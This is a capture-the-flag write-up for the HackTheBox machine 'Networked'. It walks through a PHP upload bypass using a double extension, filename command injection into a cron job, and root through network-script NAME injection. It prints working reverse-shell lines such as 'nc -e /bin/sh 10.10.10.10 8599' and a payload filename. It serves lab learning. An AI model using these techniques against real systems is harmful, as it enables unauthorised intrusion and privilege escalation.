HackTheBox - Networked

— Written by — 9 min read
networked-hackthebox

Networked was an interesting box. Focused on coding mistakes rather than exploit or misconfiguration.

First thing first, let’s add the box IP to the hosts file:

1
[hg8@archbook ~]$ echo "10.10.10.146 networked.htb" >> /etc/hosts

Let’s go !

User Flag

Recon

Let’s start with the classic nmap scan:

1
2
3
4
5
6
7
8
[hg8@archbook ~]$ nmap -sV -sT -sC networked.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-19 19:47 CEST
Nmap scan report for networked.htb (10.10.10.146)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
443/tcp closed https

Seems like we have something super classical: A http (port 80) and SSH (port 22) service open.

Opening http://networked.htb display the following message :

Hello mate, we’re building the new FaceMash!
Help by funding us and be the new Tyler&Cameron!
Join us at the pool party this Sat to get a glimpse

No useful informations in this message. Let’s continue our recon phase with a HTTP enumeration.

As usual use gobuster. I add the -x php parameter to make sure we get all files with this extension :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[hg8@archbook ~]$ gobuster dir -u http://networked.htb -w ~/SecLists/Discovery/Web-Content/big.txt -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/backup (Status: 301)
/cgi-bin/ (Status: 403)
/index.php (Status: 200)
/lib.php (Status: 200)
/photos.php (Status: 200)
/upload.php (Status: 200)
/uploads (Status: 301)

The /backup endpoint is promising. Once opening it we find an archive :

Networked backup page

Let’s download it and check what’s inside:

1
2
3
4
5
6
7
[hg8@archbook ~]$ wget http://networked.htb/backup/backup.tar
2019-10-19 19:57:46 (65.6 MB/s) - 'backup.tar' saved [10240/10240]
[hg8@archbook ~]$ tar -xvf backup.tar
index.php
lib.php
photos.php
upload.php

It’s a backup of the website. Seems like gobuster did a good job since it already found each of those files.

Upon investigating the file we find that upload.php is …well… a upload page. It accepts only image and part of the code that check the validity of the sent file is written in lib.php alongside various functions.

photos.php is used to display uploaded images.

First thing that come to mind here is to try to upload a php webshell through the upload.php page. Let’s check the rules that validate if a file is valid or not :

1
2
3
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
}
1
2
3
4
5
6
7
8
function check_file_type($file) {
$mime_type = file_mime_type($file);
if (strpos($mime_type, 'image/') === 0) {
return true;
} else {
return false;
}
}

The first check consist in a MIME type check of the file. If the file MIME type doesn’t contain image/ it will be defined as invalid.

This check means that the image will be validated locally, so no request edition will help to smuggle a PHP Shell (by editing Content-Type header for example).

Scrolling through the code we notice a second check :

1
2
3
4
5
6
7
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}

This one check do compare the end of the filename to see if it end with the common .jpg, .png, .gif and .jpeg. If not, the file is defined invalid and not uploaded.

Alright, with all those information in mind let’s try to craft one malicious image :)

File upload vulnerability

Bypass First Check: MIME Type

The easiest way to do so is to take a valid image and append the malicious content at the end of the file. It can be done in various way. Here how I did:

1
2
3
4
5
6
7
[hg8@archbook ~]$ # Download most basic jpg image possible
[hg8@archbook ~]$ wget https://raw.githubusercontent.com/mathiasbynens/small/master/jpeg.jpg -O hg8.jpeg
[hg8@archbook ~]$ echo "<?php phpinfo(); ?>" >> hg8.jpeg
[hg8@archbook ~]$ cat hg82.jpeg
����C
��
���?�� ��<?php phpinfo(); ?>

Bypass Second Check: File extension**

A common vulnerability in php file upload form is the “double extension” :

In Apache, a php file might be executed using the double extension technique such as “file.php.jpg.
Unrestricted File Upload

And that’s exactly what we are going to do. The second check will pass because our file extension will be .jpg but the php code inside will still get executed:

1
[hg8@archbook ~]$ mv hg8.jpg hg8.php.jpg

We are ready to upload now! Everything seems to went fine since we get the following message : file uploaded, refresh gallery. The gallery is the photos.php endpoint. Opening this page display a list of recently uploaded files and one with the .php.jpg extension get the attention.

In the upload.php file we got information about the location of stored images :

1
define("UPLOAD_DIR", "/var/www/html/uploads/");

We have the location of the upload folder and the name of the file. Let’s open it ! Mine is at http://networked.htb/uploads/10_10_15_101.php.jpg

Networked upload

Pivot PHP Webshell -> guly

Now that we have a working process let’s replace the phpinfo() by a webshell and we can easily land a shell running as apache user :

1
2
networked.htb:/var/www/html/uploads $ id
uid=48(apache) gid=48(apache) groups=48(apache)

The first thing I do after landing a webshell is to check the /etc/password file to find the user we will need to pivot to for finding our flag.

1
2
3
4
5
networked.htb:/var/www/html/uploads $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
guly:x:1000:1000:guly:/home/guly:/bin/bash
[...]

Beside root the only user to have a shell setup is guly. It’s our new target ;)

First we will check if guly have any interesting file in his home folder :

1
2
3
4
5
6
$ ls -l /home/guly
total 16
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-rw------- 1 guly guly 770 Oct 19 18:28 dead.letter
-r--------. 1 guly guly 33 Oct 30 2018 user.txt

The flag is indeed there upon various other files.

We can see two interresting files in guly home foler. A crontab file and a php script :

1
2
$ cat /home/guly/crontab.guly
*/3 * * * * php /home/guly/check_attack.php

The cronjob run the check_attack.php script every 3 minutes.

We don’t have write access to the script so we are not able to edit it to inject command. Since we have read access let’s investigate to see if we can find a vulnerability in the runtime :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
[...]
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}

?>

Three exec calls, we will surely find a way to inject something…

First exec (exec("rm -f $logpath");) can’t do anything since $logpath is harcoded.

Second exec (exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); is already more interesting. Reading thought the code we understand that $value is dynamically fetched from the filenames of files present in the /var/www/html/uploads/ folder.

For example with our previously uploaded image file (hg8.php.jpg) the executed command will be :

1
exec("nohup /bin/rm -f /var/www/html/uploads/hg8.php.jpg > /dev/null 2>&1 &");

So if we are a file named, for example, ; sleep 5 ; here is what the executed command will be:

1
exec("nohup /bin/rm -f /var/www/html/uploads/; sleep 5 ; > /dev/null 2>&1 &");

Since we have write access to the /var/www/html/uploads/ folder let’s try it out with a reverse shell.

Firstly let’s open our listener :

1
2
[hg8@archbook ~]$ nc -l -vv -p 8544
Listening on any address 8544

And let’s create our ‘malicious’ file :

1
networked.htb:/var/www/html/uploads$ touch "; nc 10.10.10.10 8544 -c bash ;"

We wait a little bit for the cronjob to run and surely a new connection open on our listener :

1
2
3
4
5
6
7
[hg8@archbook ~]$ nc -l -vv -p 8544
Listening on any address 8544
Connection from 10.10.10.146:52024
[guly@networked ~]$ id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
[guly@networked ~]$ cat user.txt
526cxxxxxxxxxxx1c5

Root Flag

Recon

To make the recon task easier, we are going to use the Linux enumeration tool. For the transfer of the script we will setup a simple http server on our attacking machine:

1
2
3
4
5
6
[hg8@archbook ~]$ wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -O lse.sh
[hg8@archbook ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

[guly@networked]$ wget 10.10.10.10:8000/lse.sh -O /tmp/lse.sh
2019-10-17 08:00:49 (527 KB/s) - '/tmp/lse.sh' saved [31736/31736]

Let’s run the script to see if we can find anything intesrresting :

1
2
3
4
5
6
7
8
9
10
[guly@networked]$ bash /tmp/lse.sh

[...]
===================================================================( sudo )=====
[!] sud000 Can we sudo without a password?................................. nope
[!] sud010 Can we list sudo commands without a password?................... yes!
---
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
==================================( FINISHED )==================================

We notice a very interesting configuration here. The script /usr/local/sbin/changename.sh can be run as root without password through sudo. If we can edit or find a flaw in this script it will be our pass to the root flag.

1
2
[guly@networked tmp]$ ls -l /usr/local/sbin/changename.sh
-rwxr-xr-x 1 root root 422 Jul 8 12:34 /usr/local/sbin/changename.sh

Without surprise we can not write in the file. Let’s investigate to check if we can find a flow in it’s working.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[guly@networked]$ cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0

The script take various user input to set them in a network configuration file /etc/sysconfig/network-scripts/ifcfg-guly. At the end the /sbin/ifup guly0 apply the new configuration.

network-script privilege escalation

This one was new for me, while searching for informations about network-script I stumbled across this SecList:

Redhat/CentOS root through network-scripts
If, for whatever reason, a user is able to write an ifcf- script to /etc/sysconfig/network-scripts or it can
adjust an existing one, then your system in pwned.
In my case, the NAME= attributed in these network scripts is not handled correctly. If you have white/blank space in
the name the system tries to execute the part after the white/blank space. Which means; everything after the first
blank space is executed as root.

For example:

/etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id <= Note the blank space
ONBOOT=yes
DEVICE=eth0

Yes, any script in that folder is executed by root because of the sourcing technique.

https://seclists.org/fulldisclosure/2019/Apr/24

Sounds exactly what we need since the changename.sh script edit the NAME value with user input string. And now I understand why the Networked name was chosen.

Let’s give it a try. First we open a new listener:

1
2
[hg8@archbook ~]$ nc -l -vv -p 8599
Listening on any address 8599
1
2
3
4
5
6
[guly@networked]$ sudo /usr/local/sbin/changename.sh
interface NAME:
nc -e /bin/sh 10.10.10.10 8599
wrong input, try again
interface NAME:
^C

Alright, that couldn’t be that easy… The input is filtered. The rule is the following:

1
regexp="^[a-zA-Z0-9_\ /-]+$"

This regex doesn’t seems that bad, we can still use _, spaces, / and -. To be honest at this point it gets really easy to overthink the solution which is quite simple in the end.

Call to an external script should perfectly work:

1
2
3
4
5
6
7
8
9
10
11
[guly@networked]$ echo "nc -e /bin/sh 10.10.10.10 8599" > /tmp/hg8
[guly@networked]$ chmod +x /tmp/hg8
[guly@networked tmp]$ sudo /usr/local/sbin/changename.sh
interface NAME:
/bin/bash /tmp/hg8
interface PROXY_METHOD:
hg8
interface BROWSER_ONLY:
hg8
interface BOOTPROTO:
hg8

And bingo, a connection open on our listener:

1
2
3
4
5
6
7
[hg8@archbook ~]$ nc -l -vv -p 8599
Listening on any address 8599
Connection from 10.10.10.146:46502
[root@networked ~]# id
uid=0(root) gid=0(root) groups=0(root)
[root@networked ~]# cat /root.txt
0a8ecxxxxxxxxxxxxxcb82

I had a lot of fun with this box and learned a few new things. I hope this writeup could help you too.

As always do not hesitate to contact me for any questions or feedbacks!

See you next time !

-hg8



CTFHackTheBoxEasy Box
, , , , , , , , , ,